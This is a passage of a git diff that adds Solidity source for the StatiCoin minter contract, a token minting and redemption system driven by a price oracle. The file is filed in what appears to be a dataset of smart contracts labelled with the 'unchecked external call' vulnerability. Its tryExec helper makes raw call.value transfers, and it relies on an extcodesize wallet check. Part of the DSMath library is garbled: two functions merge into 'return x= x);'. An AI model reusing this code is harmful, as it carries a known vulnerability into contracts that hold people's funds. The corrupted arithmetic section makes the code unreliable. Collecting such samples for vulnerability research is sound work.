//ETH returned successfully + } else { + // there was an error, so add back the amount previously deducted + Static.mintCoin(_details.holder,_details.amount); //Add back the amount requested + EventCreateStatic(_details.holder,_details.amount ,_TransID, _Price); //redo the creation event + } + if ( 0==this.balance) { + Bankrupt(); + } + } + } + + function ActionRetRisk(Trans _details, uint _TransID,uint128 _Price) + internal { + /** @dev Internal function to Return Riskcoins based on transaction data in the Pending queue. Riskcoins can be returned so long as the Risk price is greater than 0. + * @param _details Structure holding the amount sent (in ETH), the address of the person to sent to, and the type of request. + * @param _TransID ID of the transaction (as stored in this contract). + * @param _Price Current 24 hour average price as returned by the oracle in the Pricer contract. + * @return function returns nothing, but removes StatiCoins from the users address, sends ETH and events are created + */ + //if(Action.RetRisk<>_details.action){revert();} //already checked + //log0('RetRisk'); + uint128 _ETHReturned; + uint128 CurRiskPrice; + //if(0==Static.totalSupply()){_Price=lastPrice};// no StatiCoins, so all Risk coins are worth the same. // _ETHReturned = _details.amount / _RiskTotal * _ETHTotal + CurRiskPrice=RiskPrice(_Price); + if(CurRiskPrice>0){ + _ETHReturned = wdiv( wmul(_details.amount , CurRiskPrice) , _Price); // _details.amount * CurRiskPrice / _Price + if (Risk.meltCoin(_details.holder,_details.amount )){ + // Coins are deducted first, will add back if returning ETH goes wrong. + EventRedeemRisk(_details.holder,_details.amount ,_TransID, _Price); + if ( wless(cast(this.balance),_ETHReturned)) { // should never happen, but just in case + _ETHReturned=cast(this.balance); + } + bytes memory calldata; // define a blank `bytes` + if (tryExec(_details.holder, calldata, _ETHReturned)) { + //Returning ETH went ok. + } else { + // there was an error, so add back the amount previously deducted from the Riskcoin contract + Risk.mintCoin(_details.holder,_details.amount); + EventCreateRisk(_details.holder,_details.amount ,_TransID, _Price); + } + } + } else { + // Risk price is zero so can't do anything. Call back and delete the transaction from the contract + } + } + + function IsWallet(address _address) + internal + returns(bool){ + /** + * @dev checks that _address is not a contract. + * @param _address to check + * @return True if not a contract, + */ + uint codeLength; + assembly { + // Retrieve the size of the code on target address, this needs assembly . + codeLength := extcodesize(_address) + } + return(0==codeLength); + } + + function RetCoinInternal(uint128 _Quantity, uint128 _AmountETH, address _user, Action _action) + internal + updates + returns (uint _TransID) { + /** @dev Requests coins be melted and ETH returned + * @param _Quantity of Static or Risk coins to be melted0 + * @param _AmountETH Amount of eth sent to this contract to cover oracle fee. Excess is returned. + * @param _user Address to whom the returned ETH will be sent. + * @param _action Allows Static or Risk coins to be returned + * @return transaction ID which can be viewed in the Pending mapping + */ + require(IsWallet(_user)); + uint128 refund; + uint128 Fee=pricer.queryCost(); //Get the cost of querying the pricer contract + if(wless(_AmountETH,Fee)){ + revert(); //log0('Not enough ETH to mint'); + } else { + refund=wsub(_AmountETH,Fee);//Returning coins has had too much ETH sent, so return it. + } + if(0==_Quantity){revert();}// quantity has to be non zero + TransID++; + + uint PricerID = pricer.requestPrice.value(uint256(Fee))(TransID); //Ask the pricer to get the price. The Fee also cover calling the function PriceReturn at a later time. + pending[TransID].push(Trans(_Quantity,_user,_action,bytes32(PricerID))); //Add a transaction to the Pending queue. + _TransID=TransID; //return the transaction ID to the user + _user.transfer(uint256(refund)); //Return ETH if too much has been sent to cover the pricer + } + + function NewCoinInternal(address _user, uint128 _amount, Action _action) + internal + updates + LockIfUnwritten + LockIfFrozen + returns (uint _TransID) { + /** @dev Requests new coins be made + * @param _user Address for whom the coins are to be created + * @param _amount Amount of eth sent to this contract + * @param _action Allows Static or Risk coins to be minted + * @return transaction ID which can be viewed in the pending mapping + */ + require(IsWallet(_user)); + uint128 toCredit; + uint128 Fee=wmax(wmul(_amount,mintFee),pricer.queryCost()); // fee is the maxium of the pricer query cost and a mintFee% of value sent + if(wless(_amount,Fee)) revert(); //log0('Not enough ETH to mint'); + TransID++; + uint PricerID = pricer.requestPrice.value(uint256(Fee))(TransID); //Ask the pricer to return the price + toCredit=wsub(_amount,Fee); + pending[TransID].push(Trans(toCredit,_user,_action,bytes32(PricerID))); //Store the transaction ID and data ready for later recall + PendingETH=wadd(PendingETH,toCredit); + _TransID=TransID;//return the transaction ID for this contract to the user + } + + function Bankrupt() + internal { + EventBankrupt(); + // Reset the contract + Static.kill(); //delete all current Static tokens + Risk.kill(); //delete all current Risk tokens + //need to create new coins externally, too much gas is used if done here. + frozen=false; + written=false; // Reset the writeOnce and LockIfUnwritten modifiers + } +} \ No newline at end of file diff --git a/smart_contract_dataset/unchecked external call/35421.sol b/smart_contract_dataset/unchecked external call/35421.sol new file mode 100644 index 0000000000000000000000000000000000000000..5bbef078c5b1f1435130114efdc4e5b3f0f19222 --- /dev/null +++ b/smart_contract_dataset/unchecked external call/35421.sol @@ -0,0 +1,888 @@ +pragma solidity ^0.4.16; +//User interface at http://www.staticoin.com +//Full source code at https://github.com/genkifs/staticoin + +/** @title owned. */ +contract owned { + address owner; + function owned() { + owner = msg.sender; + } + function changeOwner(address newOwner) onlyOwner { + owner = newOwner; + } + modifier onlyOwner() { + if (msg.sender==owner) + _; + } +} + +/** @title mortal. */ +contract mortal is owned() { + function kill() onlyOwner { + if (msg.sender == owner) selfdestruct(owner); + } +} + +/** @title DSMath. */ +contract DSMath { + + // Copyright (C) 2015, 2016, 2017 DappHub, LLC + + // Licensed under the Apache License, Version 2.0 (the "License"). + // You may not use this file except in compliance with the License. + + // Unless required by applicable law or agreed to in writing, software + // distributed under the License is distributed on an "AS IS" BASIS, + // WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND (express or implied). + + // /* + // uint128 functions (h is for half) + // */ + + function hmore(uint128 x, uint128 y) constant internal returns (bool) { + return x>y; + } + + function hless(uint128 x, uint128 y) constant internal returns (bool) { + return x= x); + } + + function hsub(uint128 x, uint128 y) constant internal returns (uint128 z) { + require((z = x - y) <= x); + } + + function hmul(uint128 x, uint128 y) constant internal returns (uint128 z) { + require(y == 0 ||(z = x * y)/ y == x); + } + + function hdiv(uint128 x, uint128 y) constant internal returns (uint128 z) { + z = x / y; + } + + function hmin(uint128 x, uint128 y) constant internal returns (uint128 z) { + return x <= y ? x : y; + } + + function hmax(uint128 x, uint128 y) constant internal returns (uint128 z) { + return x >= y ? x : y; + } + + // /* + // int256 functions + // */ + + /* + WAD math + */ + uint64 constant WAD_Dec=18; + uint128 constant WAD = 10 ** 18; + + function wmore(uint128 x, uint128 y) constant internal returns (bool) { + return hmore(x, y); + } + + function wless(uint128 x, uint128 y) constant internal returns (bool) { + return hless(x, y); + } + + function wadd(uint128 x, uint128 y) constant returns (uint128) { + return hadd(x, y); + } + + function wsub(uint128 x, uint128 y) constant returns (uint128) { + return hsub(x, y); + } + + function wmul(uint128 x, uint128 y) constant returns (uint128 z) { + z = cast((uint256(x) * y + WAD / 2) / WAD); + } + + function wdiv(uint128 x, uint128 y) constant internal returns (uint128 z) { + z = cast((uint256(x) * WAD + y / 2) / y); + } + + function wmin(uint128 x, uint128 y) constant internal returns (uint128) { + return hmin(x, y); + } + + function wmax(uint128 x, uint128 y) constant internal returns (uint128) { + return hmax(x, y); + } + + function cast(uint256 x) constant internal returns (uint128 z) { + assert((z = uint128(x)) == x); + } + +} + +/** @title I_minter. */ +contract I_minter { + event EventCreateStatic(address indexed _from, uint128 _value, uint _transactionID, uint _Price); + event EventRedeemStatic(address indexed _from, uint128 _value, uint _transactionID, uint _Price); + event EventCreateRisk(address indexed _from, uint128 _value, uint _transactionID, uint _Price); + event EventRedeemRisk(address indexed _from, uint128 _value, uint _transactionID, uint _Price); + event EventBankrupt(); + + function Leverage() constant returns (uint128) {} + function RiskPrice(uint128 _currentPrice,uint128 _StaticTotal,uint128 _RiskTotal, uint128 _ETHTotal) constant returns (uint128 price) {} + function RiskPrice(uint128 _currentPrice) constant returns (uint128 price) {} + function PriceReturn(uint _TransID,uint128 _Price) {} + function NewStatic() external payable returns (uint _TransID) {} + function NewStaticAdr(address _Risk) external payable returns (uint _TransID) {} + function NewRisk() external payable returns (uint _TransID) {} + function NewRiskAdr(address _Risk) external payable returns (uint _TransID) {} + function RetRisk(uint128 _Quantity) external payable returns (uint _TransID) {} + function RetStatic(uint128 _Quantity) external payable returns (uint _TransID) {} + function Strike() constant returns (uint128) {} +} + +/** @title I_Pricer. */ +contract I_Pricer { + uint128 public lastPrice; + I_minter public mint; + string public sURL; + mapping (bytes32 => uint) RevTransaction; + + function setMinter(address _newAddress) {} + function __callback(bytes32 myid, string result) {} + function queryCost() constant returns (uint128 _value) {} + function QuickPrice() payable {} + function requestPrice(uint _actionID) payable returns (uint _TrasID) {} + function collectFee() returns(bool) {} + function () { + //if ether is sent to this address, send it back. + revert(); + } +} + +/** @title I_coin. */ +contract I_coin is mortal { + + event EventClear(); + + I_minter public mint; + string public name; //fancy name: eg Simon Bucks + uint8 public decimals=18; //How many decimals to show. ie. There could 1000 base units with 3 decimals. Meaning 0.980 SBX = 980 base units. It's like comparing 1 wei to 1 ether. + string public symbol; //An identifier: eg SBX + string public version = ''; //human 0.1 standard. Just an arbitrary versioning scheme. + + function mintCoin(address target, uint256 mintedAmount) returns (bool success) {} + function meltCoin(address target, uint256 meltedAmount) returns (bool success) {} + function approveAndCall(address _spender, uint256 _value, bytes _extraData){} + + function setMinter(address _minter) {} + function increaseApproval (address _spender, uint256 _addedValue) returns (bool success) {} + function decreaseApproval (address _spender, uint256 _subtractedValue) returns (bool success) {} + + // @param _owner The address from which the balance will be retrieved + // @return The balance + function balanceOf(address _owner) constant returns (uint256 balance) {} + + + // @notice send `_value` token to `_to` from `msg.sender` + // @param _to The address of the recipient + // @param _value The amount of token to be transferred + // @return Whether the transfer was successful or not + function transfer(address _to, uint256 _value) returns (bool success) {} + + + // @notice send `_value` token to `_to` from `_from` on the condition it is approved by `_from` + // @param _from The address of the sender + // @param _to The address of the recipient + // @param _value The amount of token to be transferred + // @return Whether the transfer was successful or not + function transferFrom(address _from, address _to, uint256 _value) returns (bool success) {} + + // @notice `msg.sender` approves `_addr` to spend `_value` tokens + // @param _spender The address of the account able to transfer the tokens + // @param _value The amount of wei to be approved for transfer + // @return Whether the approval was successful or not + function approve(address _spender, uint256 _value) returns (bool success) {} + + event Transfer(address indexed _from, address indexed _to, uint256 _value); + event Approval(address indexed _owner, address indexed _spender, uint256 _value); + + // @param _owner The address of the account owning tokens + // @param _spender The address of the account able to transfer the tokens + // @return Amount of remaining tokens allowed to spent + function allowance(address _owner, address _spender) constant returns (uint256 remaining) {} + + mapping (address => uint256) balances; + mapping (address => mapping (address => uint256)) allowed; + + // @return total amount of tokens + uint256 public totalSupply; +} + +/** @title DSBaseActor. */ +contract DSBaseActor { + /* + Copyright 2016 Nexus Development, LLC + + Licensed under the Apache License, Version 2.0 (the "License"); + you may not use this file except in compliance with the License. + You may obtain a copy of the License at + + http://www.apache.org/licenses/LICENSE-2.0 + + Unless required by applicable law or agreed to in writing, software + distributed under the License is distributed on an "AS IS" BASIS, + WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + See the License for the specific language governing permissions and + limitations under the License. + */ + + bool _ds_mutex; + modifier mutex() { + assert(!_ds_mutex); + _ds_mutex = true; + _; + _ds_mutex = false; + } + + function tryExec( address target, bytes calldata, uint256 value) + mutex() + internal + returns (bool call_ret) + { + /** @dev Requests new StatiCoins be made for a given address + * @param target where the ETH is sent to. + * @param calldata + * @param value + * @return True if ETH is transfered + */ + return target.call.value(value)(calldata); + } + + function exec( address target, bytes calldata, uint256 value) + internal + { + assert(tryExec(target, calldata, value)); + } +} + +/** @title canFreeze. */ +contract canFreeze is owned { + //Copyright (c) 2017 GenkiFS + //Basically a "break glass in case of emergency" + bool public frozen=false; + modifier LockIfFrozen() { + if (!frozen){ + _; + } + } + function Freeze() onlyOwner { + // fixes the price and allows everyone to redeem their coins at the current value + // only becomes false when all ETH has been claimed or the pricer contract is changed + frozen=true; + } +} + +/** @title oneWrite. */ +contract oneWrite { + // Adds modifies that allow one function to be called only once + //Copyright (c) 2017 GenkiFS + bool written = false; + function oneWrite() { + /** @dev Constuctor, make sure written=false initally + */ + written = false; + } + modifier LockIfUnwritten() { + if (written){ + _; + } + } + modifier writeOnce() { + if (!written){ + written=true; + _; + } + } +} + +/** @title pricerControl. */ +contract pricerControl is canFreeze { + // Copyright (c) 2017 GenkiFS + // Controls the Pricer contract for minter. Allows updates to be made in the future by swapping the pricer contract + // Although this is not expected, web addresses, API's, new oracles could require adjusments to the pricer contract + // A delay of 2 days is implemented to allow coinholders to redeem their coins if they do not agree with the new contract + // A new pricer contract unfreezes the minter (allowing a live price to be used) + I_Pricer public pricer; + address public future; + uint256 public releaseTime; + uint public PRICER_DELAY = 2; // days updated when coins are set + event EventAddressChange(address indexed _from, address indexed _to, uint _timeChange); + + function setPricer(address newAddress) onlyOwner { + /** @dev Changes the Pricer contract, after a certain delay + * @param newAddress Allows coins to be created and sent to other people + * @return transaction ID which can be viewed in the pending mapping + */ + releaseTime = now + PRICER_DELAY; + future = newAddress; + EventAddressChange(pricer, future, releaseTime); + } + + modifier updates() { + if (now > releaseTime && pricer != future){ + update(); + //log0('Updating'); + } + _; + } + + modifier onlyPricer() { + if (msg.sender==address(pricer)) + _; + } + + function update() internal { + pricer = I_Pricer(future); + frozen = false; + } +} + +/** @title minter. */ +contract minter is I_minter, DSBaseActor, oneWrite, pricerControl, DSMath{ // + // Copyright (c) 2017 GenkiFS + // This contract is the controller for the StatiCoin contracts. + // Users have 4(+2) functions they can call to mint/melt Static/Risk coins which then calls the Pricer contract + // after a delay the Pricer contract will call back to the PriceReturn() function + // this will then call one of the functions ActionNewStatic, ActionNewRisk, ActionRetStatic, ActionRetRisk + // which will then call the Static or Risk ERC20 contracts to mint/melt new tokens + // Transfer of tokens is handled by the ERC20 contracts, ETH is stored here. + enum Action {NewStatic, RetStatic, NewRisk, RetRisk} // Enum of what users can do + struct Trans { // Struct + uint128 amount; // Amount sent by the user (Can be either ETH or number of returned coins) + address holder; // Address of the user + Action action; // Type of action requested (mint/melt a Risk/StatiCoin) + uint pricerID; // ID for the pricer function + } + uint128 public lastPrice; //Storage of the last price returned by the Pricer contract + uint public TransID=0; // An increasing counter to keep track of transactions requested + string public Currency; // Name of underlying base currency + I_coin public Static; // ERC20 token interface for the StatiCoin + I_coin public Risk; // ERC20 token interface for the Risk coin + uint128 public Multiplier;//=15*10**(17); // default ratio for Risk price + uint128 public levToll=5*10**(18-1);//0.5 // this plus the multiplier defines the maximum leverage + uint128 public mintFee = 2*10**(18-3); //0.002 Used to pay oricalize and for marketing contract which is in both parties interest. + mapping (uint => Trans[]) public pending; // A mapping of pending transactions + + event EventCreateStatic(address indexed _from, uint128 _value, uint _transactionID, uint _Price); + event EventRedeemStatic(address indexed _from, uint128 _value, uint _transactionID, uint _Price); + event EventCreateRisk(address indexed _from, uint128 _value, uint _transactionID, uint _Price); + event EventRedeemRisk(address indexed _from, uint128 _value, uint _transactionID, uint _Price); + event EventBankrupt(); //Called when no more ETH is in the contract and everything needs to be manually reset. + + function minter(string _currency, uint128 _Multiplier) { //,uint8 _DecimalPlaces + // CONSTRUCTOR + Currency=_currency; + Multiplier = _Multiplier; + // can't add new contracts here as it gives out of gas messages. Too much code. + } + + function () { + //if ETH is just sent to this address then we cannot determine if it's for StatiCoins or RiskCoins, so send it back. + revert(); + } + + function Bailout() + external + payable + { + /** @dev Allows extra ETH to be added to the benefit of both types of coin holders + * @return nothing + */ + } + + function NewStatic() + external + payable + returns (uint _TransID) { + /** @dev Requests new StatiCoins be made for the sender. + * This cannot be called by a contract. Only a simple wallet (with 0 codesize). + * Contracts must use the Approve, transferFrom pattern and move coins from wallets + * @return transaction ID which can be viewed in the pending mapping + */ + _TransID=NewCoinInternal(msg.sender,cast(msg.value),Action.NewStatic); + //log0('NewStatic'); + } + + function NewStaticAdr(address _user) + external + payable + returns (uint _TransID) { + /** @dev Requests new StatiCoins be made for a given address. + * The address cannot be a contract, only a simple wallet (with 0 codesize). + * Contracts must use the Approve, transferFrom pattern and move coins from wallets + * @param _user Allows coins to be created and sent to other people + * @return transaction ID which can be viewed in the pending mapping + */ + _TransID=NewCoinInternal(_user,cast(msg.value),Action.NewStatic); + //log0('NewStatic'); + } + + function NewRisk() + external + payable + returns (uint _TransID) { + /** @dev Requests new Riskcoins be made for the sender. + * This cannot be called by a contract, only a simple wallet (with 0 codesize). + * Contracts must use the Approve, transferFrom pattern and move coins from wallets + * @return transaction ID which can be viewed in the pending mapping + */ + _TransID=NewCoinInternal(msg.sender,cast(msg.value),Action.NewRisk); + //log0('NewRisk'); + } + + function NewRiskAdr(address _user) + external + payable + returns (uint _TransID) { + /** @dev Requests new Riskcoins be made for a given address. + * The address cannot be a contract, only a simple wallet (with 0 codesize). + * Contracts must use the Approve, transferFrom pattern and move coins from wallets + * @param _user Allows coins to be created and sent to other people + * @return transaction ID which can be viewed in the pending mapping + */ + _TransID=NewCoinInternal(_user,cast(msg.value),Action.NewRisk); + //log0('NewRisk'); + } + + function RetRisk(uint128 _Quantity) + external + payable + LockIfUnwritten + returns (uint _TransID) { + /** @dev Returns Riskcoins. Needs a bit of eth sent to pay the pricer contract and the excess is returned. + * The address cannot be a contract, only a simple wallet (with 0 codesize). + * @param _Quantity Amount of coins being returned + * @return transaction ID which can be viewed in the pending mapping + */ + if(frozen){ + //Skip the pricer contract + TransID++; + ActionRetRisk(Trans(_Quantity,msg.sender,Action.RetRisk,0),TransID,lastPrice); + _TransID=TransID; + } else { + //Only returned when Risk price is positive + _TransID=RetCoinInternal(_Quantity,cast(msg.value),msg.sender,Action.RetRisk); + } + //log0('RetRisk'); + } + + function RetStatic(uint128 _Quantity) + external + payable + LockIfUnwritten + returns (uint _TransID) { + /** @dev Returns StatiCoins, Needs a bit of eth sent to pay the pricer contract + * @param _Quantity Amount of coins being returned + * @return transaction ID which can be viewed in the pending mapping + */ + if(frozen){ + //Skip the pricer contract + TransID++; + ActionRetStatic(Trans(_Quantity,msg.sender,Action.RetStatic,0),TransID,lastPrice); + _TransID=TransID; + } else { + //Static can be returned at any time + _TransID=RetCoinInternal(_Quantity,cast(msg.value),msg.sender,Action.RetStatic); + } + //log0('RetStatic'); + } + + //****************************// + // Constant functions (Ones that don't write to the blockchain) + function StaticEthAvailable() + constant + returns (uint128) { + /** @dev Returns the total amount of eth that can be sent to buy StatiCoins + * @return amount of Eth + */ + return StaticEthAvailable(cast(Risk.totalSupply()), cast(this.balance)); + } + + function StaticEthAvailable(uint128 _RiskTotal, uint128 _TotalETH) + constant + returns (uint128) { + /** @dev Returns the total amount of eth that can be sent to buy StatiCoins allows users to test arbitrary amounts of RiskTotal and ETH contained in the contract + * @param _RiskTotal Quantity of + * @param _TotalETH Total value of ETH in the contract + * @return amount of Eth + */ + // (Multiplier+levToll)*_RiskTotal - _TotalETH + uint128 temp = wmul(wadd(Multiplier,levToll),_RiskTotal); + if(wless(_TotalETH,temp)){ + return wsub(temp ,_TotalETH); + } else { + return 0; + } + } + + function RiskPrice(uint128 _currentPrice,uint128 _StaticTotal,uint128 _RiskTotal, uint128 _ETHTotal) + constant + returns (uint128 price) { + /** @dev Allows users to query various hypothetical prices of RiskCoins in terms of base currency + * @param _currentPrice Current price of ETH in Base currency. + * @param _StaticTotal Total quantity of StatiCoins issued. + * @param _RiskTotal Total quantity of invetor coins issued. + * @param _ETHTotal Total quantity of ETH in the contract. + * @return price of RiskCoins + */ + if(_ETHTotal == 0 || _RiskTotal==0){ + //Return the default price of _currentPrice * Multiplier + return wmul( _currentPrice , Multiplier); + } else { + if(hmore( wmul(_ETHTotal , _currentPrice),_StaticTotal)){ //_ETHTotal*_currentPrice>_StaticTotal + //Risk price is positive + return wdiv(wsub(wmul(_ETHTotal , _currentPrice) , _StaticTotal) , _RiskTotal); // (_ETHTotal * _currentPrice) - _StaticTotal) / _RiskTotal + } else { + //RiskPrice is negative + return 0; + } + } + } + + function RiskPrice() + constant + returns (uint128 price) { + /** @dev Allows users to query the last price of RiskCoins in terms of base currency + * @return price of RiskCoins + */ + return RiskPrice(lastPrice); + } + + function RiskPrice(uint128 _currentPrice) + constant + returns (uint128 price) { + /** @dev Allows users to query price of RiskCoins in terms of base currency, using current quantities of coins + * @param _currentPrice Current price of ETH in Base currency. + * @return price of RiskCoins + */ + return RiskPrice(_currentPrice,cast(Static.totalSupply()),cast(Risk.totalSupply()),cast(this.balance)); + } + + function Leverage() public + constant + returns (uint128) { + /** @dev Returns the ratio at which Riskcoin grows in value for the equivalent growth in ETH price + * @return ratio + */ + if(Risk.totalSupply()>0){ + return wdiv(cast(this.balance) , cast(Risk.totalSupply())); // this.balance/Risk.totalSupply + }else{ + return 0; + } + } + + function Strike() public + constant + returns (uint128) { + /** @dev Returns the current price at which the Risk price goes negative + * @return Risk price in underlying per ETH + */ + if(this.balance>0){ + return wdiv(cast(Static.totalSupply()) , cast(this.balance)); //Static.totalSupply / this.balance + }else{ + return 0; + } + } + + //****************************// + // Only owner can access the following functions + function setFee(uint128 _newFee) + onlyOwner { + /** @dev Allows the minting fee to be changed, only owner can modify + * Fee is only charged on coin creation + * @param _newFee Size of new fee + * return nothing + */ + mintFee=_newFee; + } + + function setCoins(address newRisk,address newStatic) + updates + onlyOwner + writeOnce { + /** @dev only owner can modify once, Triggers the pricer to be updated + * @param newRisk Address of Riskcoin contract + * @param newStatic Address of StatiCoin contract + * return nothing + */ + Risk=I_coin(newRisk); + Static=I_coin(newStatic); + PRICER_DELAY = 2 days; + } + + //****************************// + // Only Pricer can access the following function + function PriceReturn(uint _TransID,uint128 _Price) + onlyPricer { + /** @dev Return function for the Pricer contract only. Controls melting and minting of new coins. + * @param _TransID Tranasction ID issued by the minter. + * @param _Price Quantity of Base currency per ETH delivered by the Pricer contract + * Nothing returned. One of 4 functions is implemented + */ + Trans memory details=pending[_TransID][0];//Get the details for this transaction. + if(0==_Price||frozen){ //If there is an error in pricing or contract is frozen, use the old price + _Price=lastPrice; + } else { + if(Static.totalSupply()>0 && Risk.totalSupply()>0) {// dont update if there are coins missing + lastPrice=_Price; // otherwise update the last price + } + } + //Mint some new StatiCoins + if(Action.NewStatic==details.action){ + ActionNewStatic(details,_TransID, _Price); + } + //Melt some old StatiCoins + if(Action.RetStatic==details.action){ + ActionRetStatic(details,_TransID, _Price); + } + //Mint some new Riskcoins + if(Action.NewRisk==details.action){ + ActionNewRisk(details,_TransID, _Price); + } + //Melt some old Riskcoins + if(Action.RetRisk==details.action){ + ActionRetRisk(details,_TransID, _Price); + } + //Remove the transaction from the blockchain (saving some gas) + delete pending[_TransID]; + } + + //****************************// + // Only internal functions now + function ActionNewStatic(Trans _details, uint _TransID, uint128 _Price) + internal { + /** @dev Internal function to create new StatiCoins based on transaction data in the Pending queue. If not enough spare StatiCoins are available then some ETH is refunded. + * @param _details Structure holding the amount sent (in ETH), the address of the person to sent to, and the type of request. + * @param _TransID ID of the transaction (as stored in this contract). + * @param _Price Current 24 hour average price as returned by the oracle in the pricer contract. + * @return function returns nothing, but adds StatiCoins to the users address and events are created + */ + //log0('NewStatic'); + + //if(Action.NewStatic<>_details.action){revert();} //already checked + + uint128 CurRiskPrice=RiskPrice(_Price); + uint128 AmountReturn; + uint128 AmountMint; + + //Calculates the amount of ETH that can be added to create StatiCoins (excluding the amount already sent and stored in the contract) + uint128 StaticAvail = StaticEthAvailable(cast(Risk.totalSupply()), wsub(cast(this.balance),_details.amount)); + + // If the amount sent is less than the Static amount available, everything is fine. Nothing needs to be returned. + if (wless(_details.amount,StaticAvail)) { + // restrictions do not hamper the creation of a StatiCoin + AmountMint = _details.amount; + AmountReturn = 0; + } else { + // Amount of Static is less than amount requested. + // Take all the StatiCoins available. + // Maybe there is zero Static available, so all will be returned. + AmountMint = StaticAvail; + AmountReturn = wsub(_details.amount , StaticAvail) ; + } + + if(0 == CurRiskPrice){ + // return all the ETH + AmountReturn = _details.amount; + //AmountMint = 0; //not required as Risk price = 0 + } + + //Static can be added when Risk price is positive and leverage is below the limit + if(CurRiskPrice > 0 && StaticAvail>0 ){ + // Dont create if CurRiskPrice is 0 or there is no Static available (leverage is too high) + //log0('leverageOK'); + Static.mintCoin(_details.holder, uint256(wmul(AmountMint , _Price))); //request coins from the Static creator contract + EventCreateStatic(_details.holder, wmul(AmountMint , _Price), _TransID, _Price); // Event giving the holder address, coins created, transaction id, and price + } + + if (AmountReturn>0) { + // return some money because not enough StatiCoins are available + bytes memory calldata; // define a blank `bytes` + exec(_details.holder,calldata, AmountReturn); //Refund ETH from this contract + } + } + + function ActionNewRisk(Trans _details, uint _TransID,uint128 _Price) + internal { + /** @dev Internal function to create new Risk coins based on transaction data in the Pending queue. Risk coins can only be created if the price is above zero + * @param _details Structure holding the amount sent (in ETH), the address of the person to sent to, and the type of request. + * @param _TransID ID of the transaction (as stored in this contract). + * @param _Price Current 24 hour average price as returned by the oracle in the pricer contract. + * @return function returns nothing, but adds Riskcoins to the users address and events are created + */ + //log0('NewRisk'); + //if(Action.NewRisk<>_details.action){revert();} //already checked + // Get the Risk price using the amount of ETH in the contract before this transaction existed + uint128 CurRiskPrice; + if(wless(cast(this.balance),_details.amount)){ + CurRiskPrice=RiskPrice(_Price,cast(Static.totalSupply()),cast(Risk.totalSupply()),0); + } else { + CurRiskPrice=RiskPrice(_Price,cast(Static.totalSupply()),cast(Risk.totalSupply()),wsub(cast(this.balance),_details.amount)); + } + if(CurRiskPrice>0){ + uint128 quantity=wdiv(wmul(_details.amount , _Price),CurRiskPrice); // No of Riskcoins = _details.amount * _Price / CurRiskPrice + Risk.mintCoin(_details.holder, uint256(quantity) ); //request coins from the Riskcoin creator contract + EventCreateRisk(_details.holder, quantity, _TransID, _Price); // Event giving the holder address, coins created, transaction id, and price + } else { + // Don't create if CurRiskPrice is 0, Return all the ETH originally sent + bytes memory calldata; // define a blank `bytes` + exec(_details.holder,calldata, _details.amount); + } + } + + function ActionRetStatic(Trans _details, uint _TransID,uint128 _Price) + internal { + /** @dev Internal function to Return StatiCoins based on transaction data in the Pending queue. Static can be returned at any time. + * @param _details Structure holding the amount sent (in ETH), the address of the person to sent to, and the type of request. + * @param _TransID ID of the transaction (as stored in this contract). + * @param _Price Current 24 hour average price as returned by the oracle in the pricer contract. + * @return function returns nothing, but removes StatiCoins from the user's address, sends ETH and events are created + */ + //if(Action.RetStatic<>_details.action){revert();} //already checked + //log0('RetStatic'); + uint128 _ETHReturned; + if(0==Risk.totalSupply()){_Price=lastPrice;} //No Risk coins for balance so use fixed price + _ETHReturned = wdiv(_details.amount , _Price); //_details.amount / _Price + if (Static.meltCoin(_details.holder,_details.amount)){ + // deducted first, will add back if Returning ETH goes wrong. + EventRedeemStatic(_details.holder,_details.amount ,_TransID, _Price); + if (wless(cast(this.balance),_ETHReturned)) { + _ETHReturned=cast(this.balance);//Not enough ETH available. Return all Eth in the contract + } + bytes memory calldata; // define a blank `bytes` + if (tryExec(_details.holder, calldata, _ETHReturned)) { + //ETH returned successfully + } else { + // there was an error, so add back the amount previously deducted + Static.mintCoin(_details.holder,_details.amount); //Add back the amount requested + EventCreateStatic(_details.holder,_details.amount ,_TransID, _Price); //redo the creation event + } + if ( 0==this.balance) { + Bankrupt(); + } + } + } + + function ActionRetRisk(Trans _details, uint _TransID,uint128 _Price) + internal { + /** @dev Internal function to Return Riskcoins based on transaction data in the Pending queue. Riskcoins can be returned so long as the Risk price is greater than 0. + * @param _details Structure holding the amount sent (in ETH), the address of the person to sent to, and the type of request. + * @param _TransID ID of the transaction (as stored in this contract). + * @param _Price Current 24 hour average price as returned by the oracle in the Pricer contract. + * @return function returns nothing, but removes RiskCoins from the users address, sends ETH and events are created + */ + //if(Action.RetRisk<>_details.action){revert();} //already checked + //log0('RetRisk'); + uint128 _ETHReturned; + uint128 CurRiskPrice; + // no StatiCoins, so all Risk coins are worth the same, so _ETHReturned = _details.amount / _RiskTotal * _ETHTotal + CurRiskPrice=RiskPrice(_Price); + if(CurRiskPrice>0){ + _ETHReturned = wdiv( wmul(_details.amount , CurRiskPrice) , _Price); // _details.amount * CurRiskPrice / _Price + if (Risk.meltCoin(_details.holder,_details.amount )){ + // Coins are deducted first, will add back if returning ETH goes wrong. + EventRedeemRisk(_details.holder,_details.amount ,_TransID, _Price); + if ( wless(cast(this.balance),_ETHReturned)) { // should never happen, but just in case + _ETHReturned=cast(this.balance); + } + bytes memory calldata; // define a blank `bytes` + if (tryExec(_details.holder, calldata, _ETHReturned)) { + //Returning ETH went ok. + } else { + // there was an error, so add back the amount previously deducted from the Riskcoin contract + Risk.mintCoin(_details.holder,_details.amount); + EventCreateRisk(_details.holder,_details.amount ,_TransID, _Price); + } + } + } else { + // Risk price is zero so can't do anything. Call back and delete the transaction from the contract + } + } + + function IsWallet(address _address) + internal + returns(bool){ + /** + * @dev checks that _address is not a contract. + * @param _address to check + * @return True if not a contract, + */ + uint codeLength; + assembly { + // Retrieve the size of the code on target address, this needs assembly . + codeLength := extcodesize(_address) + } + return(0==codeLength); + } + + function RetCoinInternal(uint128 _Quantity, uint128 _AmountETH, address _user, Action _action) + internal + updates + returns (uint _TransID) { + /** @dev Requests coins be melted and ETH returned + * @param _Quantity of Static or Risk coins to be melted + * @param _AmountETH Amount of ETH sent to this contract to cover oracle fee. Excess is returned. + * @param _user Address to whom the returned ETH will be sent. + * @param _action Allows Static or Risk coins to be returned + * @return transaction ID which can be viewed in the Pending mapping + */ + require(IsWallet(_user)); + uint128 refund; + uint128 Fee=pricer.queryCost(); //Get the cost of querying the pricer contract + if(wless(_AmountETH,Fee)){ + revert(); //log0('Not enough ETH to mint'); + } else { + refund=wsub(_AmountETH,Fee);//Returning coins has had too much ETH sent, so return it. + } + if(0==_Quantity){revert();}// quantity has to be non zero + TransID++; + + uint PricerID = 